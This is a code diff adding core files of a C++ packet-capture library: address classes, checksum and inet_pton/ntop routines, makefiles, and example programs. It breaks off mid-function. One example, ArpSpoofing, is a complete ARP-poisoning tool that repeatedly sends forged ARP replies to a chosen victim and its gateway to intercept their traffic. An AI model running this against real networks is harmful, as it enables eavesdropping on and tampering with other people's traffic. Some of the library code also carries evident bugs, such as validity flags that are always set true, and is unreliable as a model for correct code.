diff --git a/Common++/Makefile b/Common++/Makefile new file mode 100644 index 0000000000..15041983d7 --- /dev/null +++ b/Common++/Makefile @@ -0,0 +1,44 @@ +-include ../mk/platform.mk + +SOURCES := $(wildcard ./src/*.cpp) +OBJS_FILENAMES := $(patsubst ./src/%.cpp,%.o,$(SOURCES)) +OBJS := $(patsubst ./src/%.cpp,./Obj/%.o,$(SOURCES)) + +ifdef WIN32 +DEPS := -DWPCAP -DHAVE_REMOTE +endif + +INCLUDES := -I"./src" \ + -I"./header" + +ifdef WIN32 +INCLUDES += -I$(MINGW_HOME)/include/ddk \ + -I$(WINPCAP_HOME)/Include +endif +ifdef LINUX +INCLUDES += -I/usr/include/netinet +endif + +$(OBJS_FILENAMES): + @echo 'Building file: $(@:%.o=./src/%.cpp)' + @echo 'Invoking: GCC C++ Compiler' + $(G++) $(DEPS) $(INCLUDES) -O2 -g -Wall -c -fmessage-length=0 -MMD -MP -MF"$(@:%.o=./Obj/%.d)" -MT"$(@:%.o=./Obj/%.d)" -o "./Obj/$@" "$(@:%.o=./src/%.cpp)" + @echo 'Finished building: $(@:%.o=./src/%.cpp)' + @echo ' ' + +# All Target +all: Common++.lib + +# Tool invocations +Common++.lib: $(OBJS_FILENAMES) + @echo 'Building target: $@' + @echo 'Invoking: GCC Archiver' + $(AR) -r "Lib/$(LIB_PREFIX)Common++$(LIB_EXT)" $(OBJS) + @echo 'Finished successfully building target: $@' + @echo ' ' + +# Other Targets +clean: + $(RM) -rf ./Obj/* + $(RM) -rf ./Lib/* + @echo 'Clean finished' \ No newline at end of file diff --git a/Common++/header/IpAddress.h b/Common++/header/IpAddress.h new file mode 100644 index 0000000000..2bdd1822a8 --- /dev/null +++ b/Common++/header/IpAddress.h @@ -0,0 +1,74 @@ +#ifndef PCAPPP_IPADDRESS +#define PCAPPP_IPADDRESS + +#include +#include +#include + +using namespace std; + +#define MAX_ADDR_STRING_LEN 40 //xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx:xxxx + +class IPAddress +{ +protected: + bool m_IsValid; + char m_AddressAsString[MAX_ADDR_STRING_LEN]; +public: + enum AddressType { + IPv4AddressType, + IPv6AddressType + }; + + virtual ~IPAddress(); + virtual AddressType getType() = 0; + string toString() const { return string(m_AddressAsString); } + bool isValid() { return m_IsValid; } + static auto_ptr fromString(char* addressAsString); + static auto_ptr fromString(string addressAsString); +}; + +struct in_addr; + +class IPv4Address : public IPAddress +{ +private: + in_addr* m_pInAddr; + void init(char* addressAsString); +public: + IPv4Address(const IPv4Address& other); + IPv4Address(uint32_t addressAsInt); //TODO: consider endianess? + IPv4Address(char* addressAsString); + IPv4Address(string addressAsString); + IPv4Address(in_addr* inAddr); + ~IPv4Address(); + AddressType getType() { return IPv4AddressType; } + uint32_t toInt() const; + in_addr* toInAddr() { return m_pInAddr; } + bool operator==(const IPv4Address& other) const { return toInt() == other.toInt(); } +}; + +struct in6_addr; + +class IPv6Address : public IPAddress +{ +private: + in6_addr* m_pInAddr; + void init(char* addressAsString); +public: + IPv6Address(const IPv6Address& other); + ~IPv6Address(); + IPv6Address(uint8_t* addressAsUintArr); + IPv6Address(char* addressAsString); + IPv6Address(string addressAsString); + AddressType getType() { return IPv6AddressType; } + uint8_t* toByteArray(int& length); + uint8_t* toByteArray(); + in6_addr* toIn6Addr() { return m_pInAddr; } + void copyTo(uint8_t** arr); + void copyTo(uint8_t* arr) const; + bool operator==(const IPv6Address& other); +}; + + +#endif /* PCAPPP_IPADDRESS */ diff --git a/Common++/header/IpUtils.h b/Common++/header/IpUtils.h new file mode 100644 index 0000000000..f287c49b99 --- /dev/null +++ b/Common++/header/IpUtils.h @@ -0,0 +1,65 @@ +#ifndef PCAPPP_IP_UTILS +#define PCAPPP_IP_UTILS + +//#include +#include +#ifndef WIN32 +#include +#include +#else +#include +#include +#endif + +#ifdef WIN32 +/** + * convert a network format address to presentation format. + * return: + * pointer to presentation format address (`dst'), or NULL (see errno). + * author: + * Paul Vixie, 1996. + */ +const char* inet_ntop(int af, const void* src, char* dst, size_t size); + +/** + * convert from presentation format (which usually means ASCII printable) + * to network format (which is usually some kind of binary format). + * return: + * 1 if the address was valid for the specified address family + * 0 if the address wasn't valid (`dst' is untouched in this case) + * -1 if some other error occurred (`dst' is untouched in this case, too) + * author: + * Paul Vixie, 1996. + */ +int inet_pton(int af, const char* src, void* dst); +#endif + + +/** + * extract IPv4 address from sockaddr + * @param sa - input sockaddr + * @return - in_addr + */ +in_addr* sockaddr2in_addr(struct sockaddr *sa); + +/** + * extract IPv6 address from sockaddr + * @param sa - input sockaddr + * @return - in6_addr + */ +in6_addr* sockaddr2in6_addr(struct sockaddr *sa); + +void sockaddr2string(struct sockaddr *sa, char* resultString); + +uint32_t in_addr2int(in_addr inAddr); + +struct ScalarBuffer +{ + uint16_t* buffer; + size_t len; +}; + +//uint16_t compute_checksum(uint16_t* addr, uint32_t count, uint16_t protocol); +uint16_t compute_checksum(ScalarBuffer vec[], size_t vecSize); + +#endif diff --git a/Common++/header/Logger.h b/Common++/header/Logger.h new file mode 100644 index 0000000000..f89cdc7bf9 --- /dev/null +++ b/Common++/header/Logger.h @@ -0,0 +1,88 @@ +#ifndef COMMONPP_LOGGER +#define COMMONPP_LOGGER + +#include +#include + +#ifndef LOG_MODULE +#define LOG_MODULE UndefinedLogModule +#endif + +enum LogModule +{ + UndefinedLogModule, + CommonLogModuleIpUtils, + PacketLogModuleUndefined, + PacketLogModuleIpUtils, + PacketLogModuleRawPacket, + PacketLogModulePacket, + PacketLogModuleLayer, + PacketLogModuleArpLayer, + PacketLogModuleEthLayer, + PacketLogModuleIPv4Layer, + PacketLogModuleIPv6Layer, + PacketLogModulePayloadLayer, + PacketLogModuleTcpLayer, + PacketLogModuleUdpLayer, + PacketLogModuleVlanLayer, + PacketLogModuleNumOfModules, + PcapLogModuleWinPcapLiveDevice, + PcapLogModuleRemoteDevice, + PcapLogModuleLiveDevice, + PcapLogModuleFileDevice, + NumOfLogModules +}; + +class LoggerPP +{ +public: + enum LogLevel + { + Normal, + Debug + }; + + void setLogLevel(LogModule module, LogLevel level) { m_LogModulesArray[module] = level; } + void setAllModlesToLogLevel(LogLevel level) { for (int i=1; i +#include +#include + +using namespace std; + +class MacAddress +{ +public: + MacAddress(uint8_t* addr); + MacAddress(const char* addr); + MacAddress(const string& addr); + MacAddress(uint8_t firstOctest, uint8_t secondOctet, uint8_t thirdOctet, uint8_t fourthOctet, uint8_t fifthOctet, uint8_t sixthOctet); + // copy c'tor + MacAddress(const MacAddress& other); + + inline bool operator==(const MacAddress& other) + { + for (int i = 0; i < 6; i++) + if (m_Address[i] != other.m_Address[i]) + return false; + return true; + } + inline bool operator!=(const MacAddress& other) {return !operator==(other);} + + bool isValid() { return m_IsValid; } + string toString(); + void copyTo(uint8_t** arr); + void copyTo(uint8_t* arr) const; +private: + uint8_t m_Address[6]; + bool m_IsValid; + void init(const char* addr); +}; + +#endif /* PCAPPP_MACADDRESS */ diff --git a/Common++/src/IpAddress.cpp b/Common++/src/IpAddress.cpp new file mode 100644 index 0000000000..09b0cb0234 --- /dev/null +++ b/Common++/src/IpAddress.cpp @@ -0,0 +1,168 @@ +#include +#include +#include +#ifdef WIN32 +#include +#include +#endif + +IPAddress::~IPAddress() +{ + +} + +auto_ptr IPAddress::fromString(char* addressAsString) +{ + in_addr ip4Addr; + in6_addr ip6Addr; + if (inet_pton(AF_INET, addressAsString, &ip4Addr) != 0) + { + return auto_ptr(new IPv4Address(addressAsString)); + } + else if (inet_pton(AF_INET6, addressAsString, &ip6Addr) != 0) + { + return auto_ptr(new IPv6Address(addressAsString)); + } + + return auto_ptr(NULL); +} + +auto_ptr IPAddress::fromString(string addressAsString) +{ + return fromString((char*)addressAsString.c_str()); +} + +IPv4Address::IPv4Address(const IPv4Address& other) +{ + m_pInAddr = new in_addr(); + memcpy(m_pInAddr, other.m_pInAddr, sizeof(in_addr)); + + strncpy(m_AddressAsString, other.m_AddressAsString, 40); + m_IsValid = true; +} + +IPv4Address::IPv4Address(uint32_t addressAsInt) +{ + m_pInAddr = new in_addr(); + memcpy(m_pInAddr, &addressAsInt, sizeof(addressAsInt)); + if (inet_ntop(AF_INET, m_pInAddr, m_AddressAsString, 16) == 0) + m_IsValid = false; + m_IsValid = true; +} + +IPv4Address::IPv4Address(in_addr* inAddr) +{ + m_pInAddr = new in_addr(); + memcpy(m_pInAddr, inAddr, sizeof(in_addr)); + if (inet_ntop(AF_INET, m_pInAddr, m_AddressAsString, 16) == 0) + m_IsValid = false; + m_IsValid = true; +} + +void IPv4Address::init(char* addressAsString) +{ + m_pInAddr = new in_addr(); + if (inet_pton(AF_INET, addressAsString , m_pInAddr) == 0) + { + m_IsValid = false; + return; + } + + strncpy(m_AddressAsString, addressAsString, 40); + m_IsValid = true; +} + +IPv4Address::~IPv4Address() +{ + delete m_pInAddr; +} + +IPv4Address::IPv4Address(char* addressAsString) +{ + init(addressAsString); +} + +IPv4Address::IPv4Address(string addressAsString) +{ + init((char*)addressAsString.c_str()); +} + +uint32_t IPv4Address::toInt() const +{ + uint32_t result; + memcpy(&result, m_pInAddr, sizeof(uint32_t)); + return result; +} + +IPv6Address::IPv6Address(const IPv6Address& other) +{ + m_pInAddr = new in6_addr(); + memcpy(m_pInAddr, other.m_pInAddr, sizeof(in_addr)); + + strncpy(m_AddressAsString, other.m_AddressAsString, 40); + m_IsValid = true; +} + +IPv6Address::~IPv6Address() +{ + delete m_pInAddr; +} + +void IPv6Address::init(char* addressAsString) +{ + m_pInAddr = new in6_addr(); + if (inet_pton(AF_INET6, addressAsString , m_pInAddr) == 0) + { + m_IsValid = false; + return; + } + + strncpy(m_AddressAsString, addressAsString, 40); + m_IsValid = true; +} + +IPv6Address::IPv6Address(uint8_t* addressAsUintArr) +{ + m_pInAddr = new in6_addr(); + memcpy(m_pInAddr, addressAsUintArr, 16); + if (inet_ntop(AF_INET6, m_pInAddr, m_AddressAsString, 16) == 0) + m_IsValid = false; + m_IsValid = true; +} + +IPv6Address::IPv6Address(char* addressAsString) +{ + init(addressAsString); +} + +IPv6Address::IPv6Address(string addressAsString) +{ + init((char*)addressAsString.c_str()); +} + +uint8_t* IPv6Address::toByteArray(int& length) +{ + length = 16; + return toByteArray(); +} + +uint8_t* IPv6Address::toByteArray() +{ + return (uint8_t*)m_pInAddr; +} + +void IPv6Address::copyTo(uint8_t** arr) +{ + (*arr) = new uint8_t[16]; + memcpy((*arr), m_pInAddr, 16); +} + +void IPv6Address::copyTo(uint8_t* arr) const +{ + memcpy(arr, m_pInAddr, 16); +} + +bool IPv6Address::operator==(const IPv6Address& other) +{ + return (memcmp(m_pInAddr, other.m_pInAddr, 16) == 0); +} diff --git a/Common++/src/IpUtils.cpp b/Common++/src/IpUtils.cpp new file mode 100644 index 0000000000..8e1aae3d56 --- /dev/null +++ b/Common++/src/IpUtils.cpp @@ -0,0 +1,396 @@ +#define LOG_MODULE CommonLogModuleIpUtils + +#include +#include +#include +#ifndef NS_INADDRSZ +#define NS_INADDRSZ 4 +#endif +#ifndef NS_IN6ADDRSZ +#define NS_IN6ADDRSZ 16 +#endif +#ifndef NS_INT16SZ +#define NS_INT16SZ 2 +#endif + + +in_addr* sockaddr2in_addr(struct sockaddr *sa) +{ + if (sa->sa_family == AF_INET) + return &(((struct sockaddr_in*)sa)->sin_addr); + LOG_DEBUG("sockaddr family is not AF_INET. Returning NULL"); + return NULL; +} + +in6_addr* sockaddr2in6_addr(struct sockaddr *sa) +{ + if (sa->sa_family == AF_INET6) + return &(((struct sockaddr_in6*)sa)->sin6_addr); + LOG_DEBUG("sockaddr family is not AF_INET6. Returning NULL"); + return NULL; +} + +void sockaddr2string(struct sockaddr *sa, char* resultString) +{ + in_addr* ipv4Addr = sockaddr2in_addr(sa); + if (ipv4Addr != NULL) + { + LOG_DEBUG("IPv4 packet address"); + inet_ntop(AF_INET, &(((sockaddr_in*)sa)->sin_addr), resultString, INET_ADDRSTRLEN); + } + else + { + LOG_DEBUG("Not IPv4 packet address. Assuming IPv6 packet"); + inet_ntop(AF_INET6, &(((sockaddr_in6*)sa)->sin6_addr), resultString, INET6_ADDRSTRLEN); + } +} + +uint32_t in_addr2int(in_addr inAddr) +{ +#ifdef WIN32 + return inAddr.S_un.S_addr; +#else + return inAddr.s_addr; +#endif +} + +uint16_t compute_checksum(ScalarBuffer vec[], size_t vecSize) +{ + uint32_t sum = 0; + for (size_t i = 0; i 1) { + LOG_DEBUG("Value to add = 0x%4X", *(vec[i].buffer)); + local_sum += *(vec[i].buffer); + ++(vec[i].buffer); + buff_len -= 2; + } + + if (buff_len == 1) + local_sum += uint16_t(*(vec[i].buffer)); + + while (local_sum>>16) { + local_sum = (local_sum & 0xffff) + (local_sum >> 16); + } + local_sum = ntohs(local_sum); + LOG_DEBUG("Local sum = %d, 0x%4X", local_sum, local_sum); + sum += local_sum; + } + + while (sum>>16) { + sum = (sum & 0xffff) + (sum >> 16); + } + + LOG_DEBUG("Sum before invert = %d, 0x%4X", sum, sum); + + sum = ~sum; + + LOG_DEBUG("Calculated checksum = %d, 0x%4X", sum, sum); + + return ((uint16_t) sum); +} + +#ifdef WIN32 +/* const char * + * inet_ntop4(src, dst, size) + * format an IPv4 address + * return: + * `dst' (as a const) + * notes: + * (1) uses no statics + * (2) takes a u_char* not an in_addr as input + * author: + * Paul Vixie, 1996. + */ +static const char * +inet_ntop4(const uint8_t* src, char* dst, size_t size) +{ + static const char fmt[] = "%u.%u.%u.%u"; + char tmp[sizeof "255.255.255.255"]; + int nprinted; + + nprinted = snprintf(tmp, sizeof(tmp), fmt, src[0], src[1], src[2], src[3]); + /* Note: nprinted *excludes* the trailing '\0' character */ + if ((size_t)nprinted >= size) { + return (NULL); + } + strncpy(dst, tmp, size); + return (dst); +} + +/* const char * + * inet_ntop6(src, dst, size) + * convert IPv6 binary address into presentation (printable) format + * author: + * Paul Vixie, 1996. + */ +static const char * +inet_ntop6(const uint8_t* src, char* dst, size_t size) +{ + /* + * Note that int32_t and int16_t need only be "at least" large enough + * to contain a value of the specified size. On some systems, like + * Crays, there is no such thing as an integer variable with 16 bits. + * Keep this in mind if you think this function should have been coded + * to use pointer overlays. All the world's not a VAX. + */ + char tmp[sizeof "ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255"], *tp; + struct { int base, len; } best, cur; + u_int words[NS_IN6ADDRSZ / NS_INT16SZ]; + int i; + + /* + * Preprocess: + * Copy the input (bytewise) array into a wordwise array. + * Find the longest run of 0x00's in src[] for :: shorthanding. + */ + memset(words, '\0', sizeof words); + for (i = 0; i < NS_IN6ADDRSZ; i++) + words[i / 2] |= (src[i] << ((1 - (i % 2)) << 3)); + best.base = -1; + cur.base = -1; + for (i = 0; i < (NS_IN6ADDRSZ / NS_INT16SZ); i++) { + if (words[i] == 0) { + if (cur.base == -1) + cur.base = i, cur.len = 1; + else + cur.len++; + } else { + if (cur.base != -1) { + if (best.base == -1 || cur.len > best.len) + best = cur; + cur.base = -1; + } + } + } + if (cur.base != -1) { + if (best.base == -1 || cur.len > best.len) + best = cur; + } + if (best.base != -1 && best.len < 2) + best.base = -1; + + /* + * Format the result. + */ + tp = tmp; + for (i = 0; i < (NS_IN6ADDRSZ / NS_INT16SZ); i++) { + /* Are we inside the best run of 0x00's? */ + if (best.base != -1 && i >= best.base && + i < (best.base + best.len)) { + if (i == best.base) + *tp++ = ':'; + continue; + } + /* Are we following an initial run of 0x00s or any real hex? */ + if (i != 0) + *tp++ = ':'; + /* Is this address an encapsulated IPv4? */ + if (i == 6 && best.base == 0 && + (best.len == 6 || (best.len == 5 && words[5] == 0xffff))) { + if (!inet_ntop4(src+12, tp, sizeof tmp - (tp - tmp))) + return (NULL); + tp += strlen(tp); + break; + } + tp += snprintf(tp, (unsigned long) (sizeof tmp - (tp - tmp)), "%x", words[i]); + } + /* Was it a trailing run of 0x00's? */ + if (best.base != -1 && (best.base + best.len) == + (NS_IN6ADDRSZ / NS_INT16SZ)) + *tp++ = ':'; + *tp++ = '\0'; + + /* + * Check for overflow, copy, and we're done. + */ + if ((size_t)(tp - tmp) > size) { + return (NULL); + } + strncpy(dst, tmp, size); + return (dst); +} + + +/* int + * inet_pton4(src, dst) + * like inet_aton() but without all the hexadecimal and shorthand. + * return: + * 1 if `src' is a valid dotted quad, else 0. + * notice: + * does not touch `dst' unless it's returning 1. + * author: + * Paul Vixie, 1996. + */ +static int +inet_pton4(const char* src, uint8_t* dst) +{ + static const char digits[] = "0123456789"; + int saw_digit, octets, ch; + u_char tmp[NS_INADDRSZ], *tp; + + saw_digit = 0; + octets = 0; + *(tp = tmp) = 0; + while ((ch = *src++) != '\0') { + const char *pch; + + if ((pch = strchr(digits, ch)) != NULL) { + size_t newSize = *tp * 10 + (pch - digits); + + if (newSize > 255) + return (0); + *tp = (u_char) newSize; + if (! saw_digit) { + if (++octets > 4) + return (0); + saw_digit = 1; + } + } else if (ch == '.' && saw_digit) { + if (octets == 4) + return (0); + *++tp = 0; + saw_digit = 0; + } else + return (0); + } + if (octets < 4) + return (0); + memcpy(dst, tmp, NS_INADDRSZ); + return (1); +} + +/* int + * inet_pton6(src, dst) + * convert presentation level address to network order binary form. + * return: + * 1 if `src' is a valid [RFC1884 2.2] address, else 0. + * notice: + * (1) does not touch `dst' unless it's returning 1. + * (2) :: in a full address is silently ignored. + * credit: + * inspired by Mark Andrews. + * author: + * Paul Vixie, 1996. + */ +static int +inet_pton6(const char* src, uint8_t* dst) +{ + static const char xdigits_l[] = "0123456789abcdef", + xdigits_u[] = "0123456789ABCDEF"; + u_char tmp[NS_IN6ADDRSZ], *tp, *endp, *colonp; + const char *xdigits, *curtok; + int ch, saw_xdigit; + u_int val; + + memset((tp = tmp), '\0', NS_IN6ADDRSZ); + endp = tp + NS_IN6ADDRSZ; + colonp = NULL; + /* Leading :: requires some special handling. */ + if (*src == ':') + if (*++src != ':') + return (0); + curtok = src; + saw_xdigit = 0; + val = 0; + while ((ch = *src++) != '\0') { + const char *pch; + + if ((pch = strchr((xdigits = xdigits_l), ch)) == NULL) + pch = strchr((xdigits = xdigits_u), ch); + if (pch != NULL) { + val <<= 4; + val |= (pch - xdigits); + if (val > 0xffff) + return (0); + saw_xdigit = 1; + continue; + } + if (ch == ':') { + curtok = src; + if (!saw_xdigit) { + if (colonp) + return (0); + colonp = tp; + continue; + } else if (*src == '\0') { + return (0); + } + if (tp + NS_INT16SZ > endp) + return (0); + *tp++ = (u_char) (val >> 8) & 0xff; + *tp++ = (u_char) val & 0xff; + saw_xdigit = 0; + val = 0; + continue; + } + if (ch == '.' && ((tp + NS_INADDRSZ) <= endp) && + inet_pton4(curtok, tp) > 0) { + tp += NS_INADDRSZ; + saw_xdigit = 0; + break; /* '\0' was seen by inet_pton4(). */ + } + return (0); + } + if (saw_xdigit) { + if (tp + NS_INT16SZ > endp) + return (0); + *tp++ = (u_char) (val >> 8) & 0xff; + *tp++ = (u_char) val & 0xff; + } + if (colonp != NULL) { + /* + * Since some memmove()'s erroneously fail to handle + * overlapping regions, we'll do the shift by hand. + */ + const int n = (int) (tp - colonp); + int i; + + if (tp == endp) + return (0); + for (i = 1; i <= n; i++) { + endp[- i] = colonp[n - i]; + colonp[n - i] = 0; + } + tp = endp; + } + if (tp != endp) + return (0); + memcpy(dst, tmp, NS_IN6ADDRSZ); + return (1); +} + + +const char* inet_ntop(int af, const void* src, char* dst, size_t size) +{ + switch (af) { + case AF_INET: + return (inet_ntop4((const uint8_t*)src, dst, size)); + case AF_INET6: + return (inet_ntop6((const uint8_t*)src, dst, size)); + default: + return (NULL); + } + /* NOTREACHED */ +} + +int inet_pton(int af, const char* src, void* dst) +{ + switch (af) { +#ifdef AF_INET + case AF_INET: + return (inet_pton4(src, (uint8_t*)dst)); +#endif +#ifdef AF_INET6 + case AF_INET6: + return (inet_pton6(src, (uint8_t*)dst)); +#endif + default: + return (-1); + } + /* NOTREACHED */ +} + +#endif diff --git a/Common++/src/Logger.cpp b/Common++/src/Logger.cpp new file mode 100644 index 0000000000..ee8bad0139 --- /dev/null +++ b/Common++/src/Logger.cpp @@ -0,0 +1,7 @@ +#include "Logger.h" + +LoggerPP::LoggerPP() : m_ErrorString(NULL), m_ErrorStringLen(0), m_SuppressErrors(false) +{ + for (int i = 0; i +#include +#include +#include +#include +#ifdef WIN32 +#include +#endif +#include +#include +#include +#include +#include +#include +#include +#include +#ifndef WIN32 //for using ntohl, ntohs, etc. +#include +#endif + +using namespace std; + +static struct option L3FwdOptions[] = +{ + {"interface", required_argument, 0, 'i'}, + {"victim", required_argument, 0, 'v'}, + {"gateway", required_argument, 0, 'g'}, + {0, 0, 0, 0} +}; + +void print_usage() { + printf("Usage: Pcap++Examples.ArpSpoofing -i -v -g \n\n"); +} + +MacAddress getMacAddress(const IPv4Address& ipAddr, PcapLiveDevice* pDevice) +{ + // Create an ARP packet and change its fields + Packet arpRequest(500); + + MacAddress macSrc = pDevice->getMacAddress(); + MacAddress macDst(0xff, 0xff, 0xff, 0xff, 0xff, 0xff); + EthLayer ethLayer(macSrc, macDst, (uint16_t)ETHERTYPE_ARP); + ArpLayer arpLayer(ARP_REQUEST, + pDevice->getMacAddress(), + pDevice->getMacAddress(), + pDevice->getIPv4Address(), + ipAddr); + + + arpRequest.addLayer(ðLayer); + arpRequest.addLayer(&arpLayer); + arpRequest.computeCalculateFields(); + + //setup arp reply filter + ArpFilter arpFilter(ARP_REPLY); + pDevice->setFilter(arpFilter); + + //send the arp request and wait for arp reply + pDevice->sendPacket(&arpRequest); + vector capturedPackets; + pDevice->startCapture(&capturedPackets); + PCAP_SLEEP(2); + pDevice->stopCapture(); + + if (capturedPackets.size() < 1) + { + printf("No arp reply was captured. Couldn't retrieve MAC address for IP %s\n", ipAddr.toString().c_str()); + return MacAddress(""); + } + + //parse arp reply and extract the MAC address + Packet arpReply(capturedPackets.front()); + if (arpReply.isPacketOfType(ARP)) + { + return ((ArpLayer*)arpReply.getLayerOfType(ARP))->getSenderMacAddress(); + } + printf("No arp reply was captured. Couldn't retrieve MAC address for IP %s\n", ipAddr.toString().c_str()); + return MacAddress(""); +} + +bool doArpSpoofing(PcapLiveDevice* pDevice, const IPv4Address& gatewayAddr, const IPv4Address& victimAddr) +{ + // Get the gateway MAC address + MacAddress gatewayMacAddr = getMacAddress(gatewayAddr, pDevice); + if (!gatewayMacAddr.isValid()) + { + printf("Failed to find gateway MAC address. Exiting...\n"); + return false; + } + printf("Got gateway MAC address: %s\n", gatewayMacAddr.toString().c_str()); + + // Get the victim MAC address + MacAddress victimMacAddr = getMacAddress(victimAddr, pDevice); + if (!victimMacAddr.isValid()) + { + printf("Failed to find victim MAC address. Exiting...\n"); + return false; + } + printf("Got victim MAC address: %s\n", victimMacAddr.toString().c_str()); + + MacAddress deviceMacAddress = pDevice->getMacAddress(); + + // Create ARP reply for the gateway + Packet gwArpReply(500); + EthLayer gwEthLayer(deviceMacAddress, gatewayMacAddr, (uint16_t)ETHERTYPE_ARP); + ArpLayer gwArpLayer(ARP_REPLY, + pDevice->getMacAddress(), + gatewayMacAddr, + victimAddr, + gatewayAddr); + gwArpReply.addLayer(&gwEthLayer); + gwArpReply.addLayer(&gwArpLayer); + gwArpReply.computeCalculateFields(); + + // Create ARP reply for the victim + Packet victimArpReply(500); + EthLayer victimEthLayer(deviceMacAddress, victimMacAddr, (uint16_t)ETHERTYPE_ARP); + ArpLayer victimArpLayer(ARP_REPLY, + pDevice->getMacAddress(), + victimMacAddr, + gatewayAddr, + victimAddr); + victimArpReply.addLayer(&victimEthLayer); + victimArpReply.addLayer(&victimArpLayer); + victimArpReply.computeCalculateFields(); + + // Send ARP replies to gateway and to victim every 5 seconds + printf("Sending ARP replies to victim and to gateway every 5 seconds...\n\n"); + while(true) + { + pDevice->sendPacket(&gwArpReply); + printf("Sent ARP reply: %s [gateway] is at MAC address %s [me]\n", gatewayAddr.toString().c_str(), deviceMacAddress.toString().c_str()); + pDevice->sendPacket(&victimArpReply); + printf("Sent ARP reply: %s [victim] is at MAC address %s [me]\n\n", victimAddr.toString().c_str(), deviceMacAddress.toString().c_str()); + PCAP_SLEEP(5); + } + + return true; +} + +int main(int argc, char* argv[]) +{ + //Get arguments from user for incoming interface and outgoing interface + + string iface = "", victim = "", gateway = ""; + int optionIndex = 0; + char opt = 0; + while((opt = getopt_long (argc, argv, "i:v:g:", L3FwdOptions, &optionIndex)) != -1) + { + switch (opt) + { + case 0: + break; + case 'i': + iface = optarg; + break; + case 'v': + victim = optarg; + break; + case 'g': + gateway = optarg; + break; + default: + print_usage(); + exit(-1); + } + } + + //Both incoming and outgoing interfaces must be provided by user + if(iface == "" || victim == "" || gateway == "") + { + print_usage(); + exit(-1); + } + + //Currently supports only IPv4 addresses + IPv4Address ifaceAddr(iface); + IPv4Address victimAddr(victim); + IPv4Address gatewayAddr(gateway); + + PcapLiveDevice* pIfaceDevice = PcapLiveDeviceList::getPcapLiveDeviceByIp(ifaceAddr); + + //Verifying interface is valid + if (pIfaceDevice == NULL) + { + printf("Cannot find interface. Exiting...\n"); + exit(-1); + } + + if (!victimAddr.isValid()) + { + printf("Victim address not valid. Exiting...\n"); + exit(-1); + } + + if (!gatewayAddr.isValid()) + { + printf("Gateway address not valid. Exiting...\n"); + exit(-1); + } + + //Opening interface device + if (!pIfaceDevice->open()) + { + printf("Cannot open interface. Exiting...\n"); + exit(-1); + } + + return (!doArpSpoofing(pIfaceDevice, gatewayAddr, victimAddr)); +} diff --git a/Examples/Pcap++Examples.BreakPcapFileToStreams/Makefile b/Examples/Pcap++Examples.BreakPcapFileToStreams/Makefile new file mode 100644 index 0000000000..a02f536d9b --- /dev/null +++ b/Examples/Pcap++Examples.BreakPcapFileToStreams/Makefile @@ -0,0 +1,79 @@ +-include ../../mk/platform.mk + +SOURCES := $(wildcard *.cpp) +OBJS_FILENAMES := $(patsubst %.cpp,%.o,$(SOURCES)) +OBJS := $(patsubst %.cpp,./Obj/%.o,$(SOURCES)) + +COMMONPP_HOME := ../../Common++ +PACKETPP_HOME := ../../Packet++ +PCAPP_HOME := ../../Pcap++ + +ifdef WIN32 +DEPS := -DWPCAP -DHAVE_REMOTE +endif + +INCLUDES := -I$(PCAPP_HOME)/header -I$(PACKETPP_HOME)/header -I$(COMMONPP_HOME)/header +ifdef WIN32 +INCLUDES += -I$(WINPCAP_HOME)/Include +endif +ifdef LINUX +INCLUDES += -I/usr/include/netinet +endif + + +$(OBJS_FILENAMES): + @echo 'Building file: $(@:%.o=%.cpp)' + @echo 'Invoking: GCC C++ Compiler' + $(G++) $(DEPS) $(INCLUDES) -O2 -g -Wall -c -fmessage-length=0 -std=gnu++0x -MMD -MP -MF"$(@:%.o=./Obj/%.d)" -MT"$(@:%.o=./Obj/%.d)" -o "./Obj/$@" "$(@:%.o=%.cpp)" + @echo 'Finished building: $(@:%.o=%.cpp)' + @echo ' ' + +LIBS_DIR := -L$(PCAPP_HOME)/Lib -L$(PACKETPP_HOME)/Lib -L$(COMMONPP_HOME)/Lib +ifdef WIN32 +LIBS_DIR += -L$(WINPCAP_HOME)/lib \ + -L$(MINGW_HOME)/lib +endif + +LIBS := -lPcap++ -lPacket++ -lCommon++ +ifdef WIN32 +LIBS += -lwpcap -lPacket -lpthread -lws2_32 +endif +ifdef LINUX +LIBS += -lpcap -lpthread +endif + +POST_BUILD := +ifdef WIN32 +POST_BUILD += $(CP) $(MINGW_HOME)/bin/pthreadGC2.dll ./Bin +endif + +UNAME := $(shell uname) + +# All Target +all: Pcap++Examples.BreakPcapFileToStreams + +dependents: + -cd $(COMMONPP_HOME) && $(MAKE) all + -cd $(PACKETPP_HOME) && $(MAKE) all + -cd $(PCAPP_HOME) && $(MAKE) all + +dependents-clean: + -cd $(COMMONPP_HOME) && $(MAKE) clean + -cd $(PACKETPP_HOME) && $(MAKE) clean + -cd $(PCAPP_HOME) && $(MAKE) clean + +# Tool invocations +Pcap++Examples.BreakPcapFileToStreams: $(OBJS_FILENAMES) dependents + @echo uname is: $(UNAME) + @echo 'Building target: $@' + @echo 'Invoking C++ Linker' + $(G++) $(LIBS_DIR) -static-libgcc -static-libstdc++ -o "./Bin/Pcap++Examples.BreakPcapFileToStreams$(BIN_EXT)" $(OBJS) $(USER_OBJS) $(LIBS) + $(POST_BUILD) + @echo 'Finished successfully building target: $@' + @echo ' ' + +# Other Targets +clean: dependents-clean + $(RM) -rf ./Obj/* + $(RM) -rf ./Bin/* + @echo 'Clean finished' \ No newline at end of file diff --git a/Examples/Pcap++Examples.BreakPcapFileToStreams/example.pcap b/Examples/Pcap++Examples.BreakPcapFileToStreams/example.pcap new file mode 100644 index 0000000000..cea4558fc6 Binary files /dev/null and b/Examples/Pcap++Examples.BreakPcapFileToStreams/example.pcap differ diff --git a/Examples/Pcap++Examples.BreakPcapFileToStreams/main.cpp b/Examples/Pcap++Examples.BreakPcapFileToStreams/main.cpp new file mode 100644 index 0000000000..bff45a44ed --- /dev/null +++ b/Examples/Pcap++Examples.BreakPcapFileToStreams/main.cpp @@ -0,0 +1,97 @@ +#include +#include +#include +#include +#include +#include +#include +#include + +using namespace std; + +size_t hash5Tuple(Packet* packet) +{ + IPv4Layer* ipv4Layer = (IPv4Layer*)packet->getLayerOfType(IPv4); + TcpLayer* tcpLayer = (TcpLayer*)packet->getLayerOfType(TCP); + if (ipv4Layer->getIPv4Header()->ipSrc < ipv4Layer->getIPv4Header()->ipDst) + { + return ((size_t)(ipv4Layer->getIPv4Header()->ipSrc) * 59) ^ + ((size_t)(ipv4Layer->getIPv4Header()->ipDst)) ^ + ((size_t)(tcpLayer->getTcpHeader()->portSrc) << 16) ^ + 